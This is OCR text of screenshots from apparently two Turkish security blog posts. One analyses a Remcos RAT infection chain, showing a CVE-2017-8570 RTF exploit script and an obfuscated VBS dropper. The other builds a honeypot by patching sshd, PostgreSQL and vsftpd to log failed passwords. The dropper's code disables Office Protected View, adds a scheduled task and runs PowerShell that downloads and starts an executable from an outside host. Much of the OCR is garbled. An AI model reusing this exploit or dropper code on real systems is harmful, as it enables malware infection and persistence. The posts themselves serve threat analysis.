&« X | & GitHub, Inc. [US] | https://github.com/rowx/CVE-2017-8570/blob/master/packager_composite_moniker.py ‘Cr| o

import random

import string

class Package(object):
Packager spec based on:
https://phishme.com/rtf-malware-delivery/

Dropping method by Haifei Li:

https://securingtomorrow.mcafee.com/mcafee-labs/dropping-files-temp-folder-raises-security-concerns/

Found being used itw by @MalwareParty:
https://twitter.com/MalwareParty/status/943861021260861440

def _ init_ (self, filename):
self.filename = '"'.join(random.choice(string.ascii_uppercase + string.digits) for _ in range(15)) + ".sct"

self.fakepath = "C:\\GEaa\\{}" . format(self.filename)

self.orgpath = self.fakepath
self.datapath = self.fakepath

with open{filename,'rb') as f:
self.data = f.read()

self.0BJ_HEAD = r"{\object\objemb\objwl\ebihl{\*\objclass Package}{\*\objdata "
self.0B]_TAIL = r"@la5eeadoocasees) "

def get_object_header(self):
OLEVersion = "@1852008'
FormatID = '@2@38008°
Classhame = 'Package’
szClassName = struct.pack("<I", len(ClassName) + 1}.encode('hex')

szPackageData = struct.pack("<I", len(self.get_package_data())/2).encode( hex')

Confuser aract ile ile kodlar gizlenmis (obfuscation) olan svch.exe tarafindan indirilip, ¢alistirilan svchost32.vbs dosyasi ise ASProtect ile
korunan profile.exe dosyasini http://www][.]bluesw][.|net/wp-admin//user/ adresinden %Public% klasoriine svchost.exe adi altinda indirip,
calistiriyordu.
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http://www.aspack.com/asprotect32.html
https://www.hybrid-analysis.com/sample/796bf2cef975153992397defe23ae82b174284e12d7bc0f1f4d2e154794c69c8?environmentId=100

File Edit

@Eﬁ e

_S_earcView _ Enceding  Language

Bl mD ety ax| BEBEI=E

[Htestvbs E1 |

Settings

Window 7

i by AnwEXnwaulS5011l = "&" -
174 AnwEXnwulS501ll = AnwEXnwulS0ll & "\"
175 AnwEXnwulS5011 = AnwEXnwalS011l & "s"
176 AnwEXnwulS5011 = AnwEXnwalS011l & "v"
177 AnwEXnwulS5011l = AnwEXnwalS011l & "c©
178 AnwEXnwulS5011 = AnwEXnwalS011l & "h"
179 AnwEXnwulS5011 = AnwEXnwalS011l & "o
180 AnwEXnwulS501l = AnwEXnwulS01ll & "=s"
181 AnwEXnwulS5011 = AnwEXnwalS011l & "t
182 AnwEXnwulS5011l = AnwEXnwalS011l & .7
183 AnwEXnwulS5011l = AnwEXnwalS011l & "e="
184 AnwEXnwulS5011 = AnwEXnwalS011l & "="
185 AnWwEXnwul5011l = AnWwEXnwulS501ll & "e"
186 AnwEXnwulS5011 = AnwEXnwalS011l & """ .
187 AnwEXnwulS512 = AnwEXnwulS1l + AnwEXnwul 4 = C ——— - ¢ EXnwulS7 + AnwE
188 shhh. Popup (AnwEXnwalS12) D S ]
1839

i ; "Seri Shell™
i:g i:tﬂ:.::;w;izzeizzgg?::;éwwicr_l_:t.a..e__ cmd.exe /K taskkill /f /im winword.exeBitaskkill /f /im Excel.exeBiPowerShell
152 wso.RegWrite (New_GbJECt o . .

2 System.Net.WebClient). DownloadFile( http://www.bluesw.net/wp-admin//user/p

- wao -ReagWriLe rofile.exe ,'%Public¥\svchost.exe’); Start-Process '%Public\svchost.exe’
194 wso.RegWrite
A wso.RegWrite
1396 wso.RegWrite
s Blrd wso.RegWrite
138 wso.RegWrite
189 wao.RegWrite ™
200 wso.RegWrite icrosofth ", 1, "REG DWORD"
201 wso.RegWrite Microsofth "REG DWORD"
202 wso.RegWrite "REG_ DWORD"
203 wso.RegWrite \Microsofth "REG_ DWORD"
204 wso.RegWrite Softwar crosofth "REG DWCORD"

205 wso.RegWrite Softwar "REG_DWORD"

206 wso.RegWrite ew\DisableInternetFil "REG DWOR
207 wso.RegWrite rotectedV "REG_ DWORD
208 wso.RegWrite rotectedV 1, "REG_DW
209 wzo.RegWrite “Protected

Visual Basic file length:13.456 lines: 254

Language Settings Window 7 X

|loe| il axs BEI=1E

File Edit Sesrch View Encoding
BEE =

218 wzo.RegWrite Th\Software\Microsofth vhProtectedView\DizableInternetFilezInPV", 1, "RE &
219 wso.RegWrite Softwar icrosofth ProtectedView\DisablelAttachementsInEV"™, 1, "REG
220 wso.RegWrite Software\Microsofth \ProtectedView\Di=sableUnsafelocationsInPV"™, 1, "
221 wso.RegWrite Softwar icrosofth ProtectedView'Di=sabl sInPV", 1, "REG DWC
222 wso.RegWrite Softwar ProtectedView\DisableAttachementsInEV", 1, "REG DWOR
223 wso.RegWrite Softwar iew\DizableUnsafelocationsInPV", 1, "REG D
224 wao.RegWrite Softwar ew\DizableInternetFil V", 1, "EEG DWCR
225 wso.RegWrite Microsofth rotectedView\DizableAttachementsInBV", 1, "REG_ DWORD
226 wso.RegWrite " crosofth rotectedView\DisableUnsaf "REG DW
iy wzo.RegWrite " rosofth ProtectedView'\Dizable

228 wso.RegWrite "

2 X0 wso.RegWrice "

230 wso.RegWrite "

231 wso.RegWrite " DWOR
232 wso.RegWrite " Windows Script Host 1, "REG T
233 wso.RegWrite " "REG_DWOR
234 wso.RegWrite " "REG_ DWORD
235 wso.RegWrite " cmd.exe /c SchTasks /Create /sc MINUTE /MO 360 /TN WindowsUpdates /TR 1, "REG DW
236 wso.RegWrite " Ch\Users\\Publich\svchost32 vbs 1, "RE
237 wso.RegWrite "I 1, "REG
238 wso.RegWrite " ocation B ™
239 wso.RegWrite " nternetFilesInPV", 1, "REG DWC
240 wso.RegWrite " "REG_DWOR
241 wso.RegWrite "H 1, "REG |
242 wso.RegWrite " Softwar r "EEG_DWOR
243 wso.RegWrite " Software’ "REG DWCRD
244 wso.RegWrite " Microsoft\Office 1, "REG_DW
245 wso.RegWrite " icrosoft\Offi sTnPv",. 1, "RE
248 wso.RegWrite " ntsInPV", 1, "REG
247 wso.RegWrite " rosoft\Offi
248 wso.RegWrice " rosoft\Office) whDisableInte DWC
249 wzo.RegWrite " icrosoft\Offic ew'\Disablelttack

250 wso.RegWrite " \Softwar rosoft\Officeh iewh\DisablelUnsafel 1, "REG D
251 set shhh = CreateObject ("WScript.S5hell™)

252 Dim AnwEXnwulStime

253 AnwEXnwulStime = "cmd.exe /c SchTasks /Create /sc MINUTE /MO 360 /TN WindowsUpdates /TR C:\\Users\\Public\\=svcho=st32.
254 shhh. Popup (AnwEXnwulStime) &
o i | r

Visual Basic file length:13.456 lines: 254 Ln:126 Col:31 Sel:48|1 Windows (CR LF) A‘ 10 Subat 2018 Cumartesi i
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File Help

wh X8 %

= chusers\mert\desktop'profile\profile.exe engine (66) pasitiv (7) date (dd.mm.yyyy) (days) =
Rising Malware.Undefined!8.C (TFE:1:uxDEhhSaRwV) 08.02.2018 1
Ikarus Trojan.Win32.Refroso 08.02.2018 1
E :r:::::jzi:?::;;} Kaspersky UDS:Dar1gerousObJ:ect.Mult?.Gener?c 08.02.2018 1
_____ O optional-header (suspicious) Zonehlarm UDS:DangerousObject.Multi.Generic 08.02.2018 1
_____ O directories (4) Cylance Unsafe 09.02.2018 0
_____ O sections (entry-point) ESET-NOD32 a variant of Win32/GenKryptik.BPIC 08.02.2018 1
_____ O libraries (1/11) Blav clean 08.02.2018 1
&7 imports (13/0/6) MicroWorld-e5can clean 09.02.2018 1] =
..... [ exports (0) nProtect clean 08.02.2018 1
o0 tls-callbacks (n/a) CMC clean 08.02.2018 1
..... _} resources (unknown) CAT-QuickHeal clean 08.02.2018 I
----- abe strings (wait..) Mchfee clean 08.02.2018 1
A debug (n/a) Zillya clean 08.02.2018 I
Q manifest (n/a) AegisLab clean 08.02.2018 1
-{11] version (PhotoshapPortable.exe) TheHacker clean 08.02.2018 1
-[Eg] certificate (/) KIGW clean @ 08.02.2018 1 Wi
""" L gverlay a3 K7 AntiVirus clean 08.02.2018 1
Arcabit clean 08.02.2018 1
TrendMicro clean 08.02.2018 1
Baidu clean 08.02.2018 1
Cyren clean 08.02.2018 1
Symantec clean 08.02.2018 1
TrendMicro-HouseCall clean 08.02.2018 1
Palealto clean 09.02.2018 0
ClamAY clean 08.02.2018 1
BitDefender clean 08.02.2018 1
MNANO-Antivirus clean 08.02.2018 1
SUPERANtiSpyware clean 08.02.2018 1
Tencent clean 09.02.2018 0
Ad-Aware clean 09.02.2018 0
Emsisoft clean 08.02.2018 1
Comodo clean 08.02.2018 ¥
F-Secure clean 08.02.2018 1 i
sha256: 796BF2CEF975153992397DEFE23AER2B174284E1 2DTBCOFL F4D2E1 54794 CH9C8 cpu: 32-bit  file-type: executable subsystem: GUI entry-point: 0x00184001

[ DLL Scanner

Detected: ASProtect v2.4 Build 02.26 Beta

Possible:

Contact:

January 12 2017

x64dbg hata ayiklama araci ile svchost.exe (profile.exe) programini analiz ettigimde ise ana zararli yazilim olan Remcos RAT zararli yazilimi

Matruska bebegi gibi nihayet ortaya ¢ikmis oldu.
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https://x64dbg.com/#start
http://breaking-security.net/remcos/

8 324 - e rfie v~ I B0l prois s Tread Wi Treed oo N - . S

File WView Debug Trace Plugine Favourites Options Help Dec 25 2017

SE 0 Y 9§ Tl =29 #f# s R 9
,@CPU | @Graph | | . Log | 't Motes | ® Breakpoints | [#58 Memory Map | L) Call Stack | =7 SEH | l¢2| Saript | &) symbols | <> source ‘ +~' References | ‘W'I'?'F:'eici

| Strings (Region profile.exe) |

Address |Disassembly string -

push profile.4140A8 "remscriptexecd”

push profile. 414094 "remscriptsuccess"”

push profile. 414084 “remscripterr™

push profile.4140C0 "exec"

push profile. 414004 “NtUnmapviewOfSection”

push profile.4140C8 "ntd11.d11"

push profile.4140F8 "GetCursorInfo”

push profile. 4140EC "User3z.d11"

push profile. 414108 "DISPLAY"

push profile.413C1C "Shlwapi.d11"

push profile. 414130 “errscrcap"

push profile. 414118 L"image/jpeg™

push profile.413F48 "initializescrcap"

push profile. 414110 "scrshot"

push profile. 414160 L"png"

push profile.413C1C "Shiwapi.d11"

push profile.41414C L"image,/png"

push profile. 414144 L"dat"

mov dword ptr ss:[ebp-240],profile.4141A8 L"wnd_s%041%021%021_%021%021%021"

mov dword ptr ss:[ebp-240],profile. 414168 L"time_%041%021%027_%021i%02i%02i"

mov dword ptr ss:[ebp-240],profile.4141A8 L"wnd_%04i%021%021_%02i%02i%02i"

push profile.4141E4 "GetLastInputInfao™ i

push profile.4140EC "User3z.d11"

push profile.4141F8 %027 :%021:%0271:%031 "

push profile. 414214 L™\

push profile. 414220 L"httpi\shel T\ open' command"”

push profile.413B68 L". exe"

mov esi,profile. 414250 "abcdefghijkImnopgrstuvwxyz"™

push profile. 41426C "user"

push profile.41427C "cmd. exe"

push profile. 414278 e

mov edi,profile.414274 ot A

push profile. 413008 RIS =

push profile.412AF4 Lo

push profile.413EBC | B

push profile. 414230 "GetConsolewindow™

push profile.4138D8 "kernel32.d11"

push dword ptr ds:[418134] &"Remcos™

mov esi,profile. 414244 "MsgwindowClass™

push profile.4142B4 "Close"

push profile.4142E4 "CONOUTS"

mov edi,profile.4142D8

mov edi,profile.413CaC

mov edi,profile.4142BC "\n * Breaking-Security.Netinin" =

sub eax,01e32.75636553 Wi i
4 | 1 ;
Search: | Type here to filter results... [] Regex
| 5 1 1530 L — 515
Command: Default
| Running |ThreadF?8exit [Ja\u'a Update,-:\\.anamebWastedDebugging:O:OO:O‘k‘lO

@ Main Products | Braskin: X s
« C () | @ Secure | nitps//breaking-security.net duuct r e [E‘n o

) Hack 4 Career. Inferr [B) Liskedin WF Mert SAl M lebox - mertsarical Bl Loge | Splunk Crther bockmaris

Home  Blog e Souro 0 entArea  Suppert

Control remotely your computers, any

* VIEW OTHER FEATURES

Octopus Crypter

r software from reverse engineering. analysi

“* VIEW OTHER FEATURES |

Matruska, Rus yapimi bir oyuncak bebek tiiriidiir. Ahsap el yapimi olan bebekler ortasindan acildiginda baska bir bebek ¢ikar, onu
actigimizda yine baska bir bebek ¢ikar. Tek anne figiiriiniin icerisinde i¢ ige yerlestirilmis bes veya yedi bebekten olugur.

Bir sonraki yazida goriismek dilegiyle herkese giivenli giinler dilerim.
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Not:

* Buyazi ayrica Pi Hediyem Var #13 oyununun ¢6ziim yolunu da icermektedir.

The post Matruska appeared first on Siber Giivenlik Glinliigii.

Mini Tehdit istihbarati

By Mert SARICA on December 3rd, 2018

Siber Giivenlik Merkezleri tarafindan kurumlara gergeklestirilen hedefli siber saldirilar1 tespit etmenin ve engellemenin dneminin yiiksek
oldugu giintimiizde, basit bir kontrol ile tespit edilebilen diisiik etkilesimli bir balkiipii sistemi (Bkz: Balkiipii Tespiti) maalesef kurumlar i¢in
kaynaklar tiiketen atil bir sistem olmaktan Steye gidemiyor. Halbuki kolay bir sekilde kurup, yonetebilecegimiz, amacina hizmet edebilen
bir balkiipii sistemi yeri geldiginde SIEM ile entegre edilerek kurumumuz icin oldukca degerli bir mini siber tehdit istihbarat servisi olarak
da kullanilabilir.

Bu ev yapimi, mini istihbarat servisi ile ayrica kurumlarin hangi basit sifreler ile hangi servisler, protokoller tizerinden hacklendigini, hangi
iilkelerin siber saldirganlara ev sahipligi yaptigini bulmak da miimkiin olabilirdi. Tuzak Sistem ile Hacker Avi calismamda oldugu gibi evimde
konumlandiracagim bu sistemin hem basit bir sekilde siber saldirganlar tarafindan tespit edilememesi hem de kisitli zamanimi ¢almamasi
adina kolay yonetilebilmesi gereksinimlerimin basinda geliyordu.

Bu konu iizerine yeteri kadar diigiindiikten ve tasindiktan sonra agik kaynak kodlu ¢esitli servisleri modifiye edip bu servise yapilan hatali
giris denemelerini (failed login attempt) istedigim sekilde kayit altina alan bir sistem olusturmaya karar verdim. Hangi servisler olacagina
karar vermek igin ise giivenlik uzmanlar1 disinda bir o kadar da art niyetli kisiler tarafindan da siklikla kullanilan ncrack ve THC-Hydra
araclarinin destekledikleri protokollere géz atmaya karar verdim ve giiniin sonunda ssh, ftp, http, postgresql protokollerinde karar kildim.
Daha sonra Mini-PC iizerine kurdugum XenServer sanallastirma sistemi {izerine iki tane sanal Ubuntu isletim sistemi kurdum. Ubuntulardan
birine bu denemeleri kayit altina alan loginmon isimli araci1 bir digerine loginmon aracinin kayitlarini (log) analiz etmek amaciyla Splunk
Community siiriimiinii kurdum.

& 3 O (| & GitHub. Inc. [US] | Mips//github.com, b3 & i

E8 README.md

ncrack

ng tool. It was built to help <

mult

ar to

3 tem) T map's a
. SIP, Redis, PostgreSQL, My

PBrot: . ROP. FTE. Telnet, HTTR(S). POP3(S). IN
MongoDB, Cassandra, WinRM, OWA,

B und Ne

rack usage. If you are a
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wwew.the.org/the- hydra, an s e

THC -Hydra

A very fast networi logon cracker which sepport mamy different services.
See feature sets and services coverage Dhot - incl. 0 speed compariton apMnit ncrack and medush

Current Version: 8.6
Last update 2017-07-21

(] Mews ang Chuny

Check out the feature sets and services coverage pape - ncluding » speed comparison against ncrack and medusa (ves, we win -} )
Developsent code is avallable at & public github repository: nifess//@ithub,confvanhauser-the/the-adrn

There is & mew section below for oaline tutorials.
Read below for Limue cospilation notes

mATps:/glehun comivBARBuS ar - EN

1 relissle sometimes, mest lixely agalast new Windows versions. pleass test, report aaa if possinle send o fix

= adced racmind mocy prise
« sa5 module now checks 1f SMEBL 15 suv:\orxe«:
Pttp-fors mdule Row D L3

[8x01] Introduction

Welcome to the mini website of the THC Mydra profect.

i3¢e AMS, Clseo suth, Cisco m» e, €5, “rrn‘n\u, FTP, HTTP-FORM-GET, HTTR-FORM-POST,

TP-HEAD, WT -pes, | POST, WITPS-GET, MTTPS-P0ST, WTTRS-HEAD,
¥, 10g, IMP, IRC, HS-5qL, ‘ﬁ’SQL WP, TP, - Listerer, & SID, Cracle,
- an-\.»er!. PONFS, POPY, MMRES. ROP, Rexec, Rlogin, Rsh, ATS®, 57-30d, SAP/RD, 5IP, 9, TP,

P Enum, S, SOCKSS, SSM (V1 and vE), Suoversion, Tesmspems (1S2), TEINeT, Vdare-Autn, VIC sad X¥P.

For WTTR, POFY, IM&® and SMTP, seversl login mechanises 1ike plain and MDS gigest etc. are supported.

Tabii 6niimdeki en biiyiik engellerden biri bu protokolleri kullanan sunucu bilesenlerinin (sshd, postgresql, vsftpd gibi) hatali giris
denemelerinde kullanilan parolalarin agik (clear-text) olarak kayit altina almalariydi bu sebeple her bir sunucu bileseninin kaynak koduna
teker teker miidahale etmeye basladim.

Oncelikle openssh-7.2p2 paketini indirip auth-passwd.c dosyasmi daha sonra postgres-10.0 paketini indirip src/backend/libpg/auth.c
dosyasini ve ardindan da vsftpd-3.0.3 paketini indirip prelogin.c ve logging.c dosyalarini, parolalarin agik halini kayit edecek sekilde
degistirdim ve derledim.

+ Batcave X | B

@

#include “canohost.h”

extern Buffer 'I;?irm“-
extern serveroptions options;

#ifdef HAVE_LOGIN_CAP
extern login_cap_t *1c;
#endif

#define DAY 24L * 60 )
Mefl: TWO_WEEKS E? Ll unv)) ;* 2 2{&5"1: secmds;v

void

disable_forwarding(void)

E no_port_forwarding_flag = 1;
no_agent_1 forwardln?_flag -1;

1 no_x11_forwarding_flag = 1;

* Tries to authenticate the user using password. Returns true if

:;mhenticatim SUCC

int

?n(h_passnurd(nuthctxt *authctxt, const char *password)

s:ru:t passwd * pw = authcTxt->pw;

int result, ok = authcrxt-»wvali

#if defined (USE_SHADOW) && defined(HAS_SHADOW_EXPIRE)
if static int expire_checked = 0;

/® Mert SARICA */
logit("[Failed Password] Client: %.2005 Username: X5 Password: %57, get_resote_ipaddr(), authctxt-suser, password);

#ifndef mwa_r.
i (pw- :va u1d == 0 && options.persit_root_login '= PERMIT_YES)

#endif
if (*password == *\0' && optrions.permit_empty_passwd == 0)
return 0;
#ifdef KRB
if (up:iuns kerberos_authentication == le‘c{
int ret = auth_krb5_password(authctxr, password);
lf (ret == 1 [] re: - 0)
return ret &&
/* Fall back to r.rdiniry passwd authentication. */
#endif

#ifdef HAVE_CYGWIN
; HANDLE hToken = cygwin_logon_user (pw, password);
if (hToken == INVALID_HAMDLE_VALUE)
Cygwin_:z:tinpersm.\:im_:uken(hmken)

return

#endif
#ifdef use P,
if (npcions use_pam)
return (sshpam_auth_passwd(authctxt, password) &% ok);

#endif
#if defined(USE_SHADOW) &% defined(HAS_SHADOW_EXPIRE)
if (lexpire_checked) {

undo
Redo

Indent Text
unindent Text,

Cut Text
Uncut Text

cur Pos
Go To Line

write out
Read File

Prev Page
Next P
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% Batcave | % Batcave (1) ! @ Batcave (3) | @ Batcave (2) ! €@ Batcave (4) |+ Kali(VM) x |

root@kali:~# cat pass.txt

test

mert

dert

root@kali:~# hydra -t 32 -1 root -P pass.txt 192.168.1.127 ssh

Hydra v8.3 (c) 2016 by van Hauser /THC - Please do not use in military or secret service organizations, or for illegal purposes.

Hydra (http://wew. thc.org/thc-hydra) starting at 2017-11-07 11:06:04

[WARNING] Many SSH configurations 1imit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4
[DATA] max 3 tasks per 1 server, overall 64 tasks, 3 login tries (1:1/p:3), ~0 tries per task

[DATA] attacking service ssh on port 22

1 of 1 target completed, O valid passwords found

Hydra (http://www. thc.org/thc-hydra) finished at 2017-11-07 11:06:05

root@kali:~#

% Batcave |4 Batcave (1) X | €@ Batcave (3) | & Batcave (2) | @ Batcave (4) | & Kali (VM)
root@ubuntu:~# tail -n 9 /var/log/auth. Tog

Nov 7 19:06:05 ubuntu sshd[20604]: [Failed Password] Client: 192.168.1.144 Username: root Password: mert
Nov 7 19:06:05 ubuntu sshd[20603]: [Failed Password] Client: 192.168.1.144 uUsername: root Password: dert
Nov 7 19:06:05 ubuntu sshd[20602]: [Failed Password] Client: 192.168.1.144 uUsername: root Password: test
Nov 7 19:06:05 ubuntu sshd[20604]: Failed password for root from 192.168.1.144 port 64781 ssh2

Nov 7 19:06:05 ubuntu sshd[20603]: Failed password for root from 192.168.1.144 port 64780 ssh2

Nov 7 19:06:05 ubuntu sshd[20602]: Failed password for root from 192.168.1.144 port 64779 ssh2

Nov 7 19:06:05 ubuntu sshd[20604]: connection closed by 192.168.1.144 port 64781 [preauth]

Nov 7 19:06:05 ubuntu sshd[20603]: Connection closed by 192.168.1.144 port 64780 [preauth]

Nov 7 19:06:05 ubuntu sshd[20602]: Connection closed by 192.168.1.144 port 64779 [preauth]

root@ubuntu:~#

/* Do not echo password to logs, for security. */
elog{DEBUGS, re:n-ivtd password packet”™);

-

* peturn the received string. Mote

we do
i cllarxur et conversion on it; since we don’t yet know the client’s
encoding, there wouldn't be much point.

i
return buf.data;

/-
i Plsswrd based authentication mechanisss

-
- F!"lllt'll password authentication.

sta:\
checkPasshord-wth(Port *port, char **logdetail)

char “passwd;
int result;
char “shadow_pass;

sendauthiequest (port, AUTH_REQ PASSWORD, NULL, 0);

passwd = recv_password_packet(port);
lf (passwd == MULL)
return STATUS_EOF; /* client wouldn't send password */

/® Mert SARICA */
elog(LoG, "[Failed Password] Username: Xs Password: %57, port-suser_name, passwd);:

shadow_pass = get_role_password(port->user_name, logdetail);
!f (shadow_pass)

result = plain_crypt_verify(port->user_name, shadow_pass, passwd,
} fogdetaiiy;
el

result = STATUS_ERROR;

if (shadow_pass)
ree(shadow_pass);
pfree(passwd);

2 return result;
s
* M5 and scraM authentication.

stati
checkpuchanergenuth(wr: *port, char **logdetail)

int auth_resulr;
char “shadow_| pass;
Pa;swordwpe prtype;

assertiport->hba->auth_method == uasCRAM
port->hba->auth_method == ual-os].

/* First look up the user's password. */
shadow_pass = get_role_password{port->user_name, logdetail):
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7 Batcave X |+ Batcave (1) % Batcave (3) 5 - Batca"e n_] | % Batca‘fe (4

[Foot@ubuntu:~ honeypot# hydra -1 root -P Eass txt 127.0.0.1 postgres
Hydra v8.6 (c) 2017 by van Hauser/THC - Please do not use in military or secret service organizations, or for illegal purposes.

Hydra (http://wew.thc.org/thc-hydra) starting at 2017-11-05 15:56:53

[DATA] max 3 tasks per 1 server, overall 3 tasks, 3 login tries (1:1/p:3), ~1 try per task
[DaTA] attacking postgres://127.0.0.1:5432/

1 of 1 target completed, 0 valid passwords found

Hydra (http://www.thc.org/thc-hydra) finished at 2017-11-05 15:56:54
root@ubuntu:-/honeypot# cat /’var/"log/’pgsq'l

2017-11-05 15:56:27.206 +03 [10974 listening on IPv6 address "::1", port 5432

2017-11-05 15:56:27.206 +03 [10974] LOG: listening on IPv4 address "127.0.0.1", port 5432
2017-11-05 15:56:27.208 +03 [10974] LoG: 1listening on unix socket "/tmp/.s.PGSQL.5432"

2017-11-05 15:56:27.228 +03 [10975] LOG: database system was shut down at 2017-11-05 15:54:28 +03
2017-11-05 15:56:27.231 +03 [10974] LOG: database system is ready to accept connections
2017-11-05 15:56:54.091 +03 [10991] LoG: [Failed Password] Username: root Password: dert
2017-11-05 15:56:54.091 +03 [10991] FATAL: password authentication failed for user "root"
2017-11-05 15:56:54.091 +03 [10991] DETAIL: Role "root” does not exist.

Connection matched pg_hba.conf Tine 86: "host all all 0.0.0.0/0 password”
2017-11-05 15:56:54.094 +03 [10990] LOG: 1incomplete startup packet

||2017-11-05 15:56:54.095 +03 [10992] LoG: [Failed Password] Username: root Password: mert
2017-11-05 15:56:54.095 +03 [10992] FATAL: password authentication failed for user "root"
2017-11-05 15:56:54.095 +03 [10992] DETAIL: Role "root” does not exist.

connection matched pg_hba.conf Tine 86: "host all all 0.0.0.0/0 password"
2017-11-05 15:56:54.096 +03 [10989] LOG: incomplete startup packet
|12017-11-05 15:56:54.099 +03 [10994] LoG: [Failed Password] uUsername: root Password: test
||2017-11-05 15:56:54.099 +03 [10994] FATAL: password authentication failed for user "root"
2017-11-05 15:56:54.099 +03 [10994] DETAIL: Role "root" does not exist.

connection matched pg_hba.conf Tine 86: "host all all 0.0.0.0/0 password"
2017-11-05 15:56:54.103 +03 ?10993] LOG: incomplete startup packet
root@ubuntu:~/honeypot#

" Batcave (1) x| @ Batcave (3) | @ Batc

if (tunable_userlist_enable)
int located = str_contains_line(dp_sess->userlist_str, &p_sess->user_str);
i (Eluca:ea &% tunable_userlist_demy) ||
located && 'tunable_userlist_demy))
check_login_delay();
vsf cmdio_wrice(p 5€55, FTP_LOGINERR, “Permission denied.™);

check_login_fails(p_sess);
str_empty(&p_sess->user_strl;

£ 15 anon: 84" tunab] enoanon;password)
/* Fake a password */
str_alloc_text (&p 5855->fT arg_s(r‘, “<no passwords");
. handle_pass_command (p_sess
1
else
i
vsf_cmdio_write(p_sess, FIP_GIVEPWORD, "Please specify the password.™);
¥

static void
handle_pass_command{struct vsf_session* p_sess)
1

1f (str_isempry(&p_sess->user_str))

wsf_ :mdlo _write{p_sess, FTP_NMEEDUSER, “Login with user first.™);
return

- ..f,. s] ARICA *
sStruct_mystr st og line IT_MYSTR;
str_alloc_text(4str_log_ 'Iinr “[Failed Passuord] client: =);
str_append_stridstr_log_line, ae_sess I emote ip_str);
str_append_text (&str_log_line, ername:
str_append_str{&str_log_line, ﬂe__sess >usef_.§(r)w
str_append_text (&str_log_line, " Password: );
str_append_str{&str_log_line, &p_sess-:-\‘(p_arzss:r%
vsf_log_line(p_sess, kvSFLogEnTryConnection og_line);

/* These login calls never return if successful */
if (tunable_one_process_model)

wsf_one_process_login(p_sess, &p_sess->ftp_arg_str);
else
vsf_two_process_login(p_sess, &p_sess->frp_arg_str);
vsf_cadio_write(p_sess, FIP_LOGINERR, “Login incorrect.”);
check_login_fails{p_sess);
str enpcy{&p_sess >user_str);
/* FALLTHRU if login fails =/
static void check_login_delay()
if (tunable_delay_failed_login)
vsf_sysuril_sleep((double) tunable_delay_failed_login);
]

static void check_login_fails(struct vsf_sessien® p_sess)
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* Batcave (1) % | @ Bat,

) str_append_text (p_str, "o ");

{; (p_ sess-:’idg a:nmsﬁt"‘; ::rs— ,ﬂ“g:gﬁ?"’ "
! str_append_text({p_str, “a ™);
str_append_str(p_str, &p_sess->anon_pass_strl;
élse
if (p_sess->is_guest)
str_append_text{p_str, “g ");
else
str_append_text(p_str, “r ");
_ str_append_strip.str, &p_sess->user_str});

i:. _append_char (p_str, * ");

/* Service name, authentication method, authentication user id */
str_append. telt(p str, “ftp 0 * 7);

/* completion status

if (succeeded)

{

. str_append_char (p_str, "c');
fn-ls.e

i

. str_append_char (p_str, "i');

;’- Mert SARICA */
static void
vsf_log_do_log vsfupd_f fnfmat(s!ruct vsf_session® p_sess, struct mystr* p_str,
cceeded, enus E\"SFLOgEnEI ¥Type what,
r_unsl: struct mystr* p_log_str)

i
str_empty(p_str);
if C':unabqe syslog_enable)

/* pate - vsf_s i1_get_current_date updates cached time */
str_append_text (p_str, vsf_sysutil_get_current_date());

F ('str_isempty(p_log str))
str_append_text (p_str,

str_append_str(p_str, p_fu su—},
} Slrﬂneﬂd‘chal‘(pfitf g_
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| % Batcave % Batcave (1) % Batcave (3) [ % Batcave (2) x | % Batcave (4)

root@ubuntu: /usr 10ca1 pgsq1 datas ftp 127.0. 0.1
Connected to 127.

220 Muhasebe sunucusu.

Name (127.0.0.1:root): mert

331 Please specify the password.

Password:

530 Login incorrect.

Login failed

frp>

| % Batcave | % Batcawve (1) x | % Batcave(3) % Batcave (2) | ¥ Batcave (4)

root@ubuntu:/var/Tog# cat vsTtpd. Tog
sun Nov 5 17:12:15 2017: client "127

0. 0. 1"

lsun Nov 5 17:12:18 2017: Client "127.0.0.1", "[Failed Password] uUsername: mert Password: dert"”
sun Nov 5 17:12:18 2017: Client "127.0.0.1°
root@ubuntu: /var /lTog#

Son olarak ise web sunucusunun ana klasdriinde olugturdugum index.php dosyasinin, yapilan hatali giris denemelerini kayit altina almasini
sagladim.
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¥ Mutasebe ygulsman X

€ © C 0| @ Notsecure | 192.168.1.127/indexphp

MUHASEBE

Kullanici Kodu
Kullanic €

| # Batcave 3¢ | @ Batcave (1) | @ Botcave (3) | @ Batcave (3) | @ Batcave (4) | *Kali (VM)
Lceranc 253 Filesdndecphe I
} return true;

</scripts>
<body class=" ext-safari” id-"ext-gend™>
<form actions="index. ﬂ? method="POST" autocomplere="off" onsubmit="return (checkrorm(this));">
=div class="login_panel™>
<div class="Togin_table™=

«div style="floar: left, -r%n—rign: :20px; margin-top:3px; “><img src="logo_fb.png™ title="Muhasebe Uygulamasi=">
<div style="hei

st 'Ie-'m or m,‘ fum siu 16px; Tine-height:32px; ">kullanizcis GiriAvi</fonts<br>

-:ﬂiv ll ?
«font ass- ds »Mul asebe uygu1anasn=<ffm
</div>
<div style="floar: leﬁ: mar, nrgin-v.op Ldpx; "=
ly class="row" styl e-’ll' n—hm:tm Lapx

i iput id="username™ umenqm--so' hanes"username” types"text” placeholder="kuTlankecks Kodu™ styles"color:#FFF;~ classe=icol™>

<div class="row">
LT idm"password” type="password” maxlength="100" name="password” placeholder="AZifre" class="ico2">
v

=div class="row">
<input name="" id="girisButton” type="submit” value="GiriA¥ ¥ap" title="GiriA¥ vap"s
| | </div>
</div>
< fdive
</div>

</Fi
‘dirz-"m-cw—xm‘ class="x-tip" style-"position: absolute; z-index: 20000; visibility: hidden; display: none; "><div class="x-tip-t1"=<div class="x-tip-tr-s<div class="x-tip-tc"><div class-"x-tip-header xi
</hal>

%t-‘(s_u:qu:sﬂ f.
7} s heat )

If(issﬂ(g:smr[ username’]) &4 isser(s_PosT[ password’1)) {
i &

art
STXt = nr1nt_r((s_mn. true);
// echo $txt
Srel='. =7’ on-greedy match on f'!'lhr
Sre2=’ [usgrnm\]) # Square Braces 1
Sreda’ # Any ingle character n
Sredm’ \[gassnurd\]) races 2
e R Ary singie chara:ur 5

:f (Sc=preg_match_all (=/".frel.%reZ.Srei. Sred. "/is™, Stxr, $matches))

error_log(print_r(date( d-m-v Hii:s', S_stmn[‘a:gu:sr TmE ]; true) . 7 (Faﬂed Password] Cliemt: ™ . print “‘\r REHO’I'E_AWR ], Trued .
username: © . pri € E Password

} print_r(S_POST( username’], true) prim_r(s_mr[ passnord 1. true . "/var7log/apache_fors. log

1}>b _end_flush(); e
Yalset O afocus(;
hu1 Qturn false; Y

1 el f
o

}
